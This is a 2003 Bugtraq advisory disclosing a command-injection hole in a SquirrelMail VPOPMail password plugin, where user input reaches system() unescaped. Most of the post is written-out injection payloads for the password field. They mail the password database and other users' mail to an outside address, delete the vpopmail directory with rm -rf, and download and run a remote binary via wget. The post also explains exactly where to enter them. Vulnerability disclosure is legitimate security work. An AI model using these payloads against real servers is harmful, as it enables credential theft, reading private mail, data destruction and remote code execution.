bugtraq - VPOPMail Account Administration (squirrel mail) version 0.9.7

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Date: 12 Mar 2003 09:25:01 -0800
From: error <error@...tinthenoise.net>
To: bugtraq@...urityfocus.com
Subject: VPOPMail Account Administration (squirrel mail) version 0.9.7

Plugin info: http://www.squirrelmail.org/plugin_view.php?id=103

Description:

VPOPMail Account Administration
The plugin lets the user do the tasks he would be able using qmailadmin

change password
let mails forward
create away messages

Notes (from the README):

************* IMPORTANT ************
    For the plugin to work correctly, the Web-Server needs to run as
same user
    as vpopmail does (most common: user vpopmail)
    this is because the plugin needs write-permissions to the users
Maildir to
    - create appropriate .qmail-files
    - create away - messages

Comments (from myself):

This (allowing anything to be excuted as the web user) of course is a
huge security hole. This actually goes beyond that and says to run the
web server as vpopmail!

Amazing!
These people are far too trusting of their users.

Bad idea.

What could be worse?

How about making it even easier to exploit every vpopmail binary?

How?

Unclean input parsing!

If the vpopmail user is the same as the webuser you get to have fun
with:

vaddaliasdomain  vconvert         vdominfo         vpasswd
vadddomain       vdeldomain       vipmap           vpopbull
vadduser         vdelivermail     vkill            vqmaillocal
valias           vdeloldusers     vmkpasswd        vsetuserquota
vchkpw           vdeluser         vmoduser         vuserinfo

Basically the exploits are unlimited (as you get full access rights to
vpopmail):

#change password
password;~vpopmail/bin/vpasswd user@...t password

#mail password database
password;cat ~vpopmail/domains/example.com/vpasswd|mail -s owned
user@...t

#remove vpopmail
password;rm -rf ~vpopmail/

#get listings of mail
password;ls ~vpopmail/domains/example.com/user/Maildir/new| mail
user@...t

#read any users mail
passwd;cat
~vpopmail/domains/example.com/user/Maildir/new//1027359339.48628.example.com\,S\=2432 | mail user@...t

#execute other arbatrary code on server
passwd; wget example.com/exploit -O /tmp/f;chmod +x /tmp/f;/tmp/f;

Here is the offending code (line 45 in vpopmail.php):

system("$vpasswd $username $pwd");

As we can see, this is very bad.

Very bad security model (running your webserver as vpopmail) backed up by sloppy coding (passing user entered data into the shell unescaped) == bad bad bad.

So you just pass anything I wrote above (or really anything at all that
you desire) and you own the systems vpopmail config.

Enter this data into the password changing field (make sure it matches
up in both) in the squirrel mail vpopmail password section to exploit.

But it's just a plugin to a webmail system, so no big deal ;-)

-- 
error <error@...tinthenoise.net>

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